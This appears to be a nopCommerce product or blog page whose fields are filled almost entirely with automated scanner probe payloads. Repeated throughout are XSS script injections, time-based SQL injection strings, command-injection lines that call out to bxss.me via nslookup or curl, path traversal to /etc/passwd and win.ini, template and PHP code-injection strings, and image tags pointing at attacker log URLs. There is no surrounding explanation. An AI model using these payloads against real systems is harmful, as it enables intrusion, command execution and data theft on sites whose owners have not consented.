nopCommerce new release!

1CxRCglXMCO

/../../../../../../../../../../windows/system32/BITSADMIN.exe

response.write(9881401*9352994)

'+response.write(9881401*9352994)+'

"+response.write(9881401*9352994)+"

echo bjfljd$()\ awqufd\nz^xyu||a #' &echo bjfljd$()\ awqufd\nz^xyu||a #|" &echo bjfljd$()\ awqufd\nz^xyu||a #

<% response.write(9881401*9352994) %>

+response.write(9881401*9352994)'

&echo wvosfa$()\ fnzuld\nz^xyu||a #' &echo wvosfa$()\ fnzuld\nz^xyu||a #|" &echo wvosfa$()\ fnzuld\nz^xyu||a #

|echo afiery$()\ zgpjtj\nz^xyu||a #' |echo afiery$()\ zgpjtj\nz^xyu||a #|" |echo afiery$()\ zgpjtj\nz^xyu||a #

(nslookup -q=cname hitohzfajufwi45311.bxss.me||curl hitohzfajufwi45311.bxss.me))

$(nslookup -q=cname hitwwunjfzvzy8b452.bxss.me||curl hitwwunjfzvzy8b452.bxss.me)

&nslookup -q=cname hituhefxzmamo649dd.bxss.me&'\"`0&nslookup -q=cname hituhefxzmamo649dd.bxss.me&`'

&(nslookup -q=cname hittxzrlohbcv14c76.bxss.me||curl hittxzrlohbcv14c76.bxss.me)&'\"`0&(nslookup -q=cname hittxzrlohbcv14c76.bxss.me||curl hittxzrlohbcv14c76.bxss.me)&`'

|(nslookup -q=cname hithbywcmterr10b8e.bxss.me||curl hithbywcmterr10b8e.bxss.me)

"+"A".concat(70-3).concat(22*4).concat(108).concat(79).concat(119).concat(72)+(require"socket"
Socket.gethostbyname("hitvi"+"udourxkq28356.bxss.me.")[3].to_s)+"

'+'A'.concat(70-3).concat(22*4).concat(102).concat(85).concat(98).concat(90)+(require'socket'
Socket.gethostbyname('hitww'+'gnuayrla0465d.bxss.me.')[3].to_s)+'

`(nslookup -q=cname hitwrpmawqjwvfedeb.bxss.me||curl hitwrpmawqjwvfedeb.bxss.me)`

'A'.concat(70-3).concat(22*4).concat(121).concat(73).concat(111).concat(73)+(require'socket'
Socket.gethostbyname('hitdc'+'kmzdepquda3dc.bxss.me.')[3].to_s)

;(nslookup -q=cname hitfmzrfgzktpb8fea.bxss.me||curl hitfmzrfgzktpb8fea.bxss.me)|(nslookup -q=cname hitfmzrfgzktpb8fea.bxss.me||curl hitfmzrfgzktpb8fea.bxss.me)&(nslookup -q=cname hitfmzrfgzktpb8fea.bxss.me||curl hitfmzrfgzktpb8fea.bxss.me)

|(nslookup${IFS}-q${IFS}cname${IFS}hitpafbqayzyn5f68a.bxss.me||curl${IFS}hitpafbqayzyn5f68a.bxss.me)

&(nslookup${IFS}-q${IFS}cname${IFS}hituekxaedmup805ae.bxss.me||curl${IFS}hituekxaedmup805ae.bxss.me)&'\"`0&(nslookup${IFS}-q${IFS}cname${IFS}hituekxaedmup805ae.bxss.me||curl${IFS}hituekxaedmup805ae.bxss.me)&`'

nopcommerce-new-release

nopcommerce-new-release

../../../../../../../../../../../../../../etc/passwd

nopcommerce-new-release/.

../../../../../../../../../../../../../../windows/win.ini

file:///etc/passwd

../

./

'.gethostbyname(lc('hitsp'.'epepnngs997a4.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(117).chr(78).chr(97).chr(86).'

".gethostbyname(lc("hitgp"."fmziambeb0a48.bxss.me."))."A".chr(67).chr(hex("58")).chr(116).chr(77).chr(114).chr(69)."

gethostbyname(lc('hitkc'.'vhbxxswc163b6.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(103).chr(74).chr(104).chr(71)

<esi:include src="http://bxss.me/rpb.png"/>

${9999009+9999443}

12345'"\'\");|]*{
<>�''💡

-1 OR 2+368-368-1=0+0+0+1 --

http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs?.jpg

-1 OR 3+368-368-1=0+0+0+1 --

1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs.jpg

;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));

Http://bxss.me/t/fit.txt

';print(md5(31337));$a='

";print(md5(31337));$a="

-1 OR 2+248-248-1=0+0+0+1

http://bxss.me/t/fit.txt?.jpg

${@print(md5(31337))}

-1 OR 3+248-248-1=0+0+0+1

-1' OR 2+215-215-1=0+0+0+1 --

${@print(md5(31337))}\

/etc/shells

-1' OR 3+215-215-1=0+0+0+1 --

-1' OR 2+67-67-1=0+0+0+1 or 'GgEtcYQo'='

-1' OR 3+67-67-1=0+0+0+1 or 'GgEtcYQo'='

../../../../../../../../../../../../../../etc/shells

'.print(md5(31337)).'

c:/windows/win.ini

-1" OR 2+249-249-1=0+0+0+1 --

-1" OR 3+249-249-1=0+0+0+1 --

bxss.me

HttP://bxss.me/t/xss.html?%00

xfs.bxss.me

bxss.me/t/xss.html?%00

ctime
sleep
p0
(I30
tp1
Rp2
.

'"

<!--

'"()&%<zzz><ScRiPt >Vcni(9615)</ScRiPt>

'"()&%<zzz><ScRiPt >Vcni(9072)</ScRiPt>

*if(now()=sysdate(),sleep(15),0)

)

!(()&&!|*|*|

^(#$!@#$)(()))******

9977249

bfg4629＜s1﹥s2ʺs3ʹhjl4629

bfgx6445��z1��z2a�bcxhjl6445

'"()

'&&sleep(27*1000)*bwypea&&'

<%={{={@{#{${dfb}}%>

"&&sleep(27*1000)*mbkbyu&&"

'||sleep(27*1000)*kzbgjy||'

"||sleep(27*1000)*lnrxhc||"

<th:t="${dfb}#foreach

1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

dfb{{98991*97996}}xca

0'XOR(
*if(now()=sysdate(),sleep(15),0))XOR'Z

dfb[[${98991*97996}]]xca

dfb__${98991*97996}__::.x

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

<ScRiPt >Vcni(9409)</ScRiPt>

<W0SNHI>EL8FS[!+!]</W0SNHI>

0"XOR(
*if(now()=sysdate(),sleep(15),0))XOR"Z

<script>Vcni(9276)</script>

<script>Vcni(9626)</script>9626

<ScR<ScRiPt>IpT>Vcni(9607)</sCr<ScRiPt>IpT>

<ScRiPt
>Vcni(9730)</ScRiPt>

<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9090></ScRiPt>

<ScRiPt
>Vcni(9586)</ScRiPt>

<svg  

�onload=Vcni(9436);>

<isindex type=image src=1 onerror=Vcni(9815)>

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

<iframe src='data:text/html;base64,PHNjcmlwdD5hbGVydCgnYWN1bmV0aXgteHNzLXRlc3QnKTwvc2NyaXB0Pgo=' invalid='9759'>

<body onload=Vcni(9054)>

<img src=//xss.bxss.me/t/dot.gif onload=Vcni(9969)>

-1; waitfor delay '0:0:15' --

<img src=xyz OnErRor=Vcni(9415)>

<img/src=">" onerror=alert(9464)>

%0D%0A%3C%53%63%52%69%50%74%20%3E%56%63%6E%69%289586%29%3C%2F%73%43%72%69%70%54%3E

\u003CScRiPt\Vcni(9168)\u003C/sCripT\u003E

&lt;ScRiPt&gt;Vcni(9334)&lt;/sCripT&gt;

�<img zzz onmouseover=Vcni(93471) //�>

<input autofocus onfocus=Vcni(9643)>

-1); waitfor delay '0:0:15' --

<a HrEF=http://xss.bxss.me></a>

<a HrEF=jaVaScRiPT:>

}body{zzz:Expre/**/SSion(Vcni(9494))}

wRB1D
<ScRiPt >Vcni(9783)</ScRiPt>

<WFI5PV>EAHK2[!+!]</WFI5PV>

<ifRAme sRc=9553.com></IfRamE>

<aSOlh7C x=9267>

-1)); waitfor delay '0:0:15' --

<img sRc='http://attacker-9599/log.php?

<aFF3Mef<

-1 waitfor delay '0:0:15' --

kUNyrqus'; waitfor delay '0:0:15' --

sjuuX9KH'); waitfor delay '0:0:15' --

geldfjyU')); waitfor delay '0:0:15' --

-1 OR 272=(SELECT 272 FROM PG_SLEEP(15))--

-1) OR 539=(SELECT 539 FROM PG_SLEEP(15))--

-1)) OR 363=(SELECT 363 FROM PG_SLEEP(15))--

'"()&%<zzz><ScRiPt >MOc0(9100)</ScRiPt>

2zDawJIE' OR 250=(SELECT 250 FROM PG_SLEEP(15))--

'"()&%<zzz><ScRiPt >MOc0(9126)</ScRiPt>

9273209

bfg1677＜s1﹥s2ʺs3ʹhjl1677

bfgx6441��z1��z2a�bcxhjl6441

<%={{={@{#{${dfb}}%>

Ac1OdlFW') OR 996=(SELECT 996 FROM PG_SLEEP(15))--

<th:t="${dfb}#foreach

1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

dfb{{98991*97996}}xca

dfb[[${98991*97996}]]xca

wElEOkS6')) OR 776=(SELECT 776 FROM PG_SLEEP(15))--

dfb__${98991*97996}__::.x

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

<ScRiPt >MOc0(9387)</ScRiPt>

<W6FBJP>HUALM[!+!]</W6FBJP>

<script>MOc0(9898)</script>

*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

<script>MOc0(9646)</script>9646

response.write(9214753*9370662)

1Bg6z48R4pO

'+response.write(9214753*9370662)+'

"+response.write(9214753*9370662)+"

<% response.write(9214753*9370662) %>

+response.write(9214753*9370662)'

<ScR<ScRiPt>IpT>MOc0(9775)</sCr<ScRiPt>IpT>

<ScRiPt
>MOc0(9831)</ScRiPt>

<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9843></ScRiPt>

'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

<ScRiPt
>MOc0(9093)</ScRiPt>

'"

����%2527%2522\'\"

@@9Q1qL

<svg  

�onload=MOc0(9120);>

/../../../../../../../../../../windows/system32/BITSADMIN.exe

<isindex type=image src=1 onerror=MOc0(9825)>

echo jijgpu$()\ zlbuoq\nz^xyu||a #' &echo jijgpu$()\ zlbuoq\nz^xyu||a #|" &echo jijgpu$()\ zlbuoq\nz^xyu||a #

<iframe src='data:text/html;base64,PHNjcmlwdD5hbGVydCgnYWN1bmV0aXgteHNzLXRlc3QnKTwvc2NyaXB0Pgo=' invalid='9894'>

&echo mdxxio$()\ boxdnh\nz^xyu||a #' &echo mdxxio$()\ boxdnh\nz^xyu||a #|" &echo mdxxio$()\ boxdnh\nz^xyu||a #

|echo muekqd$()\ rtpusl\nz^xyu||a #' |echo muekqd$()\ rtpusl\nz^xyu||a #|" |echo muekqd$()\ rtpusl\nz^xyu||a #

(nslookup -q=cname hiturhjyjfciw01bff.bxss.me||curl hiturhjyjfciw01bff.bxss.me))

$(nslookup -q=cname hitfqkihvozok69da5.bxss.me||curl hitfqkihvozok69da5.bxss.me)

&nslookup -q=cname hitidsvaumjrx5505b.bxss.me&'\"`0&nslookup -q=cname hitidsvaumjrx5505b.bxss.me&`'

<body onload=MOc0(9564)>

&(nslookup -q=cname hithzgbuvjcoj2249a.bxss.me||curl hithzgbuvjcoj2249a.bxss.me)&'\"`0&(nslookup -q=cname hithzgbuvjcoj2249a.bxss.me||curl hithzgbuvjcoj2249a.bxss.me)&`'

|(nslookup -q=cname hitgdbesiuudqc1ba5.bxss.me||curl hitgdbesiuudqc1ba5.bxss.me)

"+"A".concat(70-3).concat(22*4).concat(103).concat(67).concat(100).concat(89)+(require"socket"
Socket.gethostbyname("hitun"+"getmvayl8a950.bxss.me.")[3].to_s)+"

'+'A'.concat(70-3).concat(22*4).concat(100).concat(87).concat(122).concat(83)+(require'socket'
Socket.gethostbyname('hitex'+'dgcjzcng8bb58.bxss.me.')[3].to_s)+'

`(nslookup -q=cname hittcdwtczvyy9983d.bxss.me||curl hittcdwtczvyy9983d.bxss.me)`

'A'.concat(70-3).concat(22*4).concat(103).concat(87).concat(105).concat(86)+(require'socket'
Socket.gethostbyname('hitjm'+'mopzlsbwd6a11.bxss.me.')[3].to_s)

;(nslookup -q=cname hitwsknjnoxpm4bc60.bxss.me||curl hitwsknjnoxpm4bc60.bxss.me)|(nslookup -q=cname hitwsknjnoxpm4bc60.bxss.me||curl hitwsknjnoxpm4bc60.bxss.me)&(nslookup -q=cname hitwsknjnoxpm4bc60.bxss.me||curl hitwsknjnoxpm4bc60.bxss.me)

|(nslookup${IFS}-q${IFS}cname${IFS}hitgdvjbpoxgt9a7b2.bxss.me||curl${IFS}hitgdvjbpoxgt9a7b2.bxss.me)

&(nslookup${IFS}-q${IFS}cname${IFS}hitutfrtrgkkw62682.bxss.me||curl${IFS}hitutfrtrgkkw62682.bxss.me)&'\"`0&(nslookup${IFS}-q${IFS}cname${IFS}hitutfrtrgkkw62682.bxss.me||curl${IFS}hitutfrtrgkkw62682.bxss.me)&`'

<img src=//xss.bxss.me/t/dot.gif onload=MOc0(9545)>

<img src=xyz OnErRor=MOc0(9448)>

nopcommerce-new-release

nopcommerce-new-release

<img/src=">" onerror=alert(9744)>

nopcommerce-new-release/.

%0D%0A%3C%53%63%52%69%50%74%20%3E%4D%4F%63%30%289962%29%3C%2F%73%43%72%69%70%54%3E

\u003CScRiPt\MOc0(9377)\u003C/sCripT\u003E

-1 OR 2+537-537-1=0+0+0+1 --

-1 OR 3+537-537-1=0+0+0+1 --

-1 OR 2+428-428-1=0+0+0+1

-1 OR 3+428-428-1=0+0+0+1

../../../../../../../../../../../../../../etc/passwd

&lt;ScRiPt&gt;MOc0(9035)&lt;/sCripT&gt;

-1' OR 2+209-209-1=0+0+0+1 --

-1' OR 3+209-209-1=0+0+0+1 --

-1' OR 2+438-438-1=0+0+0+1 or 'vAzIbic6'='

-1' OR 3+438-438-1=0+0+0+1 or 'vAzIbic6'='

�<img zzz onmouseover=MOc0(90401) //�>

-1" OR 2+505-505-1=0+0+0+1 --

-1" OR 3+505-505-1=0+0+0+1 --

../../../../../../../../../../../../../../windows/win.ini

file:///etc/passwd

'.gethostbyname(lc('hitfp'.'lqgojpfpaddfa.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(100).chr(84).chr(122).chr(75).'

".gethostbyname(lc("hitza"."xrehsrqz76606.bxss.me."))."A".chr(67).chr(hex("58")).chr(101).chr(81).chr(112).chr(66)."

<input autofocus onfocus=MOc0(9377)>

../

gethostbyname(lc('hityw'.'cviuujhr3b523.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(109).chr(88).chr(97).chr(77)

./

12345'"\'\");|]*{
<>�''💡

<a HrEF=http://xss.bxss.me></a>

<a HrEF=jaVaScRiPT:>

<esi:include src="http://bxss.me/rpb.png"/>

}body{zzz:Expre/**/SSion(MOc0(9762))}

${9999742+10000108}

http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs?.jpg

1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs.jpg

;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));

Http://bxss.me/t/fit.txt

*if(now()=sysdate(),sleep(15),0)

';print(md5(31337));$a='

http://bxss.me/t/fit.txt?.jpg

/etc/shells

";print(md5(31337));$a="

../../../../../../../../../../../../../../etc/shells

c:/windows/win.ini

${@print(md5(31337))}

HttP://bxss.me/t/xss.html?%00

bxss.me

xfs.bxss.me

${@print(md5(31337))}\

bxss.me/t/xss.html?%00

'.print(md5(31337)).'

lnb9P
<ScRiPt >MOc0(9363)</ScRiPt>

ctime
sleep
p0
(I30
tp1
Rp2
.

<WL8EQL>F0EXC[!+!]</WL8EQL>

'"()&%<zzz><ScRiPt >KQXG(9201)</ScRiPt>

'"

'"()&%<zzz><ScRiPt >KQXG(9670)</ScRiPt>

<!--

<ifRAme sRc=9082.com></IfRamE>

9342067

bfg3896＜s1﹥s2ʺs3ʹhjl3896

0'XOR(
*if(now()=sysdate(),sleep(15),0))XOR'Z

<avC9Oqg x=9581>

bfgx1590��z1��z2a�bcxhjl1590

)

<img sRc='http://attacker-9726/log.php?

!(()&&!|*|*|

<%={{={@{#{${dfb}}%>

^(#$!@#$)(()))******

<th:t="${dfb}#foreach

<aghD7n8<

'"()

'&&sleep(27*1000)*qvzzki&&'

"&&sleep(27*1000)*rsdely&&"

1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

'||sleep(27*1000)*xuvfey||'

"||sleep(27*1000)*tktcpk||"

dfb{{98991*97996}}xca

0"XOR(
*if(now()=sysdate(),sleep(15),0))XOR"Z

dfb[[${98991*97996}]]xca

dfb__${98991*97996}__::.x

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

<ScRiPt >KQXG(9743)</ScRiPt>

<WMQQTC>YXNQX[!+!]</WMQQTC>

<script>KQXG(9414)</script>

<script>KQXG(9580)</script>9580

<ScR<ScRiPt>IpT>KQXG(9154)</sCr<ScRiPt>IpT>

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

<ScRiPt
>KQXG(9005)</ScRiPt>

<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9630></ScRiPt>

<ScRiPt
>KQXG(9682)</ScRiPt>

<svg  

�onload=KQXG(9164);>

<isindex type=image src=1 onerror=KQXG(9931)>

<iframe src='data:text/html;base64,PHNjcmlwdD5hbGVydCgnYWN1bmV0aXgteHNzLXRlc3QnKTwvc2NyaXB0Pgo=' invalid='9966'>

<body onload=KQXG(9355)>

<img src=//xss.bxss.me/t/dot.gif onload=KQXG(9763)>

<img src=xyz OnErRor=KQXG(9842)>

-1; waitfor delay '0:0:15' --

<img/src=">" onerror=alert(9892)>

%0D%0A%3C%53%63%52%69%50%74%20%3E%4B%51%58%47%289351%29%3C%2F%73%43%72%69%70%54%3E

\u003CScRiPt\KQXG(9194)\u003C/sCripT\u003E

&lt;ScRiPt&gt;KQXG(9347)&lt;/sCripT&gt;

�<img zzz onmouseover=KQXG(95941) //�>

<input autofocus onfocus=KQXG(9665)>

<a HrEF=http://xss.bxss.me></a>

<a HrEF=jaVaScRiPT:>

}body{zzz:Expre/**/SSion(KQXG(9558))}

xbqK5
<ScRiPt >KQXG(9448)</ScRiPt>

-1); waitfor delay '0:0:15' --

<WKTTMI>WZGWE[!+!]</WKTTMI>

<ifRAme sRc=9524.com></IfRamE>

<asIR5If x=9904>

<img sRc='http://attacker-9587/log.php?

<aLJPcjl<

-1)); waitfor delay '0:0:15' --

-1 waitfor delay '0:0:15' --

lOZaPkA4'; waitfor delay '0:0:15' --

sVLK9x9t'); waitfor delay '0:0:15' --

'"()&%<zzz><ScRiPt >f1w3(9320)</ScRiPt>

gVwMuCFv')); waitfor delay '0:0:15' --

'"()&%<zzz><ScRiPt >f1w3(9477)</ScRiPt>

9707086

bfg9056＜s1﹥s2ʺs3ʹhjl9056

bfgx9375��z1��z2a�bcxhjl9375

<%={{={@{#{${dfb}}%>

<th:t="${dfb}#foreach

-1 OR 267=(SELECT 267 FROM PG_SLEEP(15))--

1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

dfb{{98991*97996}}xca

dfb[[${98991*97996}]]xca

dfb__${98991*97996}__::.x

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

<ScRiPt >f1w3(9104)</ScRiPt>

<WXLTSD>W5WFV[!+!]</WXLTSD>

-1) OR 22=(SELECT 22 FROM PG_SLEEP(15))--

<script>f1w3(9629)</script>

<script>f1w3(9455)</script>9455

<ScR<ScRiPt>IpT>f1w3(9250)</sCr<ScRiPt>IpT>

<ScRiPt
>f1w3(9960)</ScRiPt>

<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9357></ScRiPt>

<ScRiPt
>f1w3(9670)</ScRiPt>

<svg  

�onload=f1w3(9317);>

-1)) OR 673=(SELECT 673 FROM PG_SLEEP(15))--

<isindex type=image src=1 onerror=f1w3(9472)>

<iframe src='data:text/html;base64,PHNjcmlwdD5hbGVydCgnYWN1bmV0aXgteHNzLXRlc3QnKTwvc2NyaXB0Pgo=' invalid='9307'>

<body onload=f1w3(9418)>

<img src=//xss.bxss.me/t/dot.gif onload=f1w3(9343)>

<img src=xyz OnErRor=f1w3(9848)>

qwtApt9g' OR 222=(SELECT 222 FROM PG_SLEEP(15))--

<img/src=">" onerror=alert(9009)>

%0D%0A%3C%53%63%52%69%50%74%20%3E%66%31%77%33%289100%29%3C%2F%73%43%72%69%70%54%3E

\u003CScRiPt\f1w3(9816)\u003C/sCripT\u003E

&lt;ScRiPt&gt;f1w3(9012)&lt;/sCripT&gt;

�<img zzz onmouseover=f1w3(90711) //�>

'"()&%<zzz><ScRiPt >28mt(9792)</ScRiPt>

<input autofocus onfocus=f1w3(9962)>

'"()&%<zzz><ScRiPt >28mt(9772)</ScRiPt>

tXaAvsfF') OR 350=(SELECT 350 FROM PG_SLEEP(15))--

9477785

<a HrEF=http://xss.bxss.me></a>

bfg9994＜s1﹥s2ʺs3ʹhjl9994

<a HrEF=jaVaScRiPT:>

bfgx4279��z1��z2a�bcxhjl4279

}body{zzz:Expre/**/SSion(f1w3(9959))}

<%={{={@{#{${dfb}}%>

thPQ8
<ScRiPt >f1w3(9114)</ScRiPt>

<th:t="${dfb}#foreach

<WLMQKH>SO5OO[!+!]</WLMQKH>

<ifRAme sRc=9475.com></IfRamE>

1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

Evjk1Miq')) OR 571=(SELECT 571 FROM PG_SLEEP(15))--

<aHDAPC8 x=9496>

dfb{{98991*97996}}xca

<img sRc='http://attacker-9909/log.php?

dfb[[${98991*97996}]]xca

<aHeNXb2<

dfb__${98991*97996}__::.x

*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

<ScRiPt >28mt(9094)</ScRiPt>

<W7IQXW>5TIHL[!+!]</W7IQXW>

<script>28mt(9772)</script>

'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

'"

����%2527%2522\'\"

@@9Spgi

<script>28mt(9392)</script>9392

<ScR<ScRiPt>IpT>28mt(9099)</sCr<ScRiPt>IpT>

<ScRiPt
>28mt(9556)</ScRiPt>

<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9893></ScRiPt>

<ScRiPt
>28mt(9375)</ScRiPt>

<svg  

�onload=28mt(9619);>

<isindex type=image src=1 onerror=28mt(9879)>

<iframe src='data:text/html;base64,PHNjcmlwdD5hbGVydCgnYWN1bmV0aXgteHNzLXRlc3QnKTwvc2NyaXB0Pgo=' invalid='9389'>

<body onload=28mt(9387)>

<img src=//xss.bxss.me/t/dot.gif onload=28mt(9579)>

<img src=xyz OnErRor=28mt(9510)>

<img/src=">" onerror=alert(9425)>

%0D%0A%3C%53%63%52%69%50%74%20%3E%32%38%6D%74%289057%29%3C%2F%73%43%72%69%70%54%3E

\u003CScRiPt\28mt(9382)\u003C/sCripT\u003E

&lt;ScRiPt&gt;28mt(9676)&lt;/sCripT&gt;

�<img zzz onmouseover=28mt(95371) //�>

<input autofocus onfocus=28mt(9806)>

<a HrEF=http://xss.bxss.me></a>

<a HrEF=jaVaScRiPT:>

}body{zzz:Expre/**/SSion(28mt(9187))}

hdyvz
<ScRiPt >28mt(9138)</ScRiPt>

<WHRHRC>IKKRK[!+!]</WHRHRC>

<ifRAme sRc=9837.com></IfRamE>

<aOqdyCV x=9390>

<img sRc='http://attacker-9910/log.php?

<azywjHQ<

'"()&%<zzz><ScRiPt >STO2(9962)</ScRiPt>

'"()&%<zzz><ScRiPt >STO2(9376)</ScRiPt>

9668674

bfg5534＜s1﹥s2ʺs3ʹhjl5534

bfgx10592��z1��z2a�bcxhjl10592

<%={{={@{#{${dfb}}%>

<th:t="${dfb}#foreach

1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

dfb{{98991*97996}}xca

dfb[[${98991*97996}]]xca

dfb__${98991*97996}__::.x

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

<ScRiPt >STO2(9571)</ScRiPt>

<WQ7ZAR>IT9IS[!+!]</WQ7ZAR>

<script>STO2(9049)</script>

<script>STO2(9937)</script>9937

<ScR<ScRiPt>IpT>STO2(9338)</sCr<ScRiPt>IpT>

<ScRiPt
>STO2(9727)</ScRiPt>

<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9914></ScRiPt>

<ScRiPt
>STO2(9564)</ScRiPt>

<svg  

�onload=STO2(9785);>

<isindex type=image src=1 onerror=STO2(9931)>

<iframe src='data:text/html;base64,PHNjcmlwdD5hbGVydCgnYWN1bmV0aXgteHNzLXRlc3QnKTwvc2NyaXB0Pgo=' invalid='9699'>

<body onload=STO2(9978)>

<img src=//xss.bxss.me/t/dot.gif onload=STO2(9984)>

<img src=xyz OnErRor=STO2(9598)>

<img/src=">" onerror=alert(9955)>

%0D%0A%3C%53%63%52%69%50%74%20%3E%53%54%4F%32%289372%29%3C%2F%73%43%72%69%70%54%3E

\u003CScRiPt\STO2(9751)\u003C/sCripT\u003E

&lt;ScRiPt&gt;STO2(9002)&lt;/sCripT&gt;

�<img zzz onmouseover=STO2(90911) //�>

<input autofocus onfocus=STO2(9038)>

<a HrEF=http://xss.bxss.me></a>

<a HrEF=jaVaScRiPT:>

}body{zzz:Expre/**/SSion(STO2(9162))}

TBufs
<ScRiPt >STO2(9356)</ScRiPt>

<WXWJOF>MPQI1[!+!]</WXWJOF>

<ifRAme sRc=9701.com></IfRamE>

<aWI5UYt x=9544>

<img sRc='http://attacker-9050/log.php?

<aMDHQw1<

'"()&%<zzz><ScRiPt >FZ3a(9658)</ScRiPt>

'"()&%<zzz><ScRiPt >FZ3a(9057)</ScRiPt>

9595019

bfg4415＜s1﹥s2ʺs3ʹhjl4415

bfgx2013��z1��z2a�bcxhjl2013

<%={{={@{#{${dfb}}%>

<th:t="${dfb}#foreach

1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

dfb[[${98991*97996}]]xca

dfb{{98991*97996}}xca

dfb__${98991*97996}__::.x

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

dfb{{98991*97996}}xca

<ScRiPt >FZ3a(9176)</ScRiPt>

<ScRiPt >FZ3a(9176)</ScRiPt>

<W6RLO3>JQKST[!+!]</W6RLO3>

<script>FZ3a(9603)</script>

dfb{{98991*97996}}xca

<script>FZ3a(9540)</script>9540

<ScR<ScRiPt>IpT>FZ3a(9020)</sCr<ScRiPt>IpT>

<ScRiPt
>FZ3a(9637)</ScRiPt>

<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9596></ScRiPt>

<ScRiPt
>FZ3a(9576)</ScRiPt>

<ScRiPt
>FZ3a(9637)</ScRiPt>

<svg  

�onload=FZ3a(9633);>

<isindex type=image src=1 onerror=FZ3a(9120)>

<iframe src='data:text/html;base64,PHNjcmlwdD5hbGVydCgnYWN1bmV0aXgteHNzLXRlc3QnKTwvc2NyaXB0Pgo=' invalid='9135'>

<body onload=FZ3a(9291)>

<iframe src='data:text/html;base64,PHNjcmlwdD5hbGVydCgnYWN1bmV0aXgteHNzLXRlc3QnKTwvc2NyaXB0Pgo=' invalid='9135'>

'"()&%<zzz><ScRiPt >BeGf(9397)</ScRiPt>

'"()&%<zzz><ScRiPt >BeGf(9359)</ScRiPt>

<img src=//xss.bxss.me/t/dot.gif onload=FZ3a(9111)>

9091389

bfg1375＜s1﹥s2ʺs3ʹhjl1375

<img src=//xss.bxss.me/t/dot.gif onload=FZ3a(9111)>

<img src=xyz OnErRor=FZ3a(9583)>

<img src=xyz OnErRor=FZ3a(9583)>

bfgx5101��z1��z2a�bcxhjl5101

<img/src=">" onerror=alert(9571)>

%0D%0A%3C%53%63%52%69%50%74%20%3E%46%5A%33%61%289609%29%3C%2F%73%43%72%69%70%54%3E

\u003CScRiPt\FZ3a(9539)\u003C/sCripT\u003E

<%={{={@{#{${dfb}}%>

<%={{={@{#{${dfb}}%>

&lt;ScRiPt&gt;FZ3a(9754)&lt;/sCripT&gt;

<%={{={@{#{${dfb}}%>

�<img zzz onmouseover=FZ3a(98061) //�>

<th:t="${dfb}#foreach

<input autofocus onfocus=FZ3a(9770)>

<input autofocus onfocus=FZ3a(9770)>

<a HrEF=http://xss.bxss.me></a>

1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

<a HrEF=jaVaScRiPT:>

<a HrEF=jaVaScRiPT:>

}body{zzz:Expre/**/SSion(FZ3a(9814))}

}body{zzz:Expre/**/SSion(FZ3a(9814))}

}body{zzz:Expre/**/SSion(FZ3a(9814))}

gS3ah
<ScRiPt >FZ3a(9888)</ScRiPt>

dfb{{98991*97996}}xca

<WGWUY6>EKGVB[!+!]</WGWUY6>

<ifRAme sRc=9897.com></IfRamE>

dfb[[${98991*97996}]]xca

<a9uJHHS x=9897>

dfb__${98991*97996}__::.x

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

<img sRc='http://attacker-9311/log.php?

<ScRiPt >BeGf(9549)</ScRiPt>

<ScRiPt >BeGf(9549)</ScRiPt>

<WEGGAW>58YSC[!+!]</WEGGAW>

<a4sc8g3<

<script>BeGf(9913)</script>

<script>BeGf(9741)</script>9741

1kMF7mgezO

response.write(9622893*9370826)

'+response.write(9622893*9370826)+'

"+response.write(9622893*9370826)+"

<% response.write(9622893*9370826) %>

+response.write(9622893*9370826)'

/../../../../../../../../../../windows/system32/BITSADMIN.exe

echo kzmjzu$()\ ujzlfl\nz^xyu||a #' &echo kzmjzu$()\ ujzlfl\nz^xyu||a #|" &echo kzmjzu$()\ ujzlfl\nz^xyu||a #

&echo dzinhy$()\ yermhj\nz^xyu||a #' &echo dzinhy$()\ yermhj\nz^xyu||a #|" &echo dzinhy$()\ yermhj\nz^xyu||a #

|echo fwtdxm$()\ jfufnu\nz^xyu||a #' |echo fwtdxm$()\ jfufnu\nz^xyu||a #|" |echo fwtdxm$()\ jfufnu\nz^xyu||a #

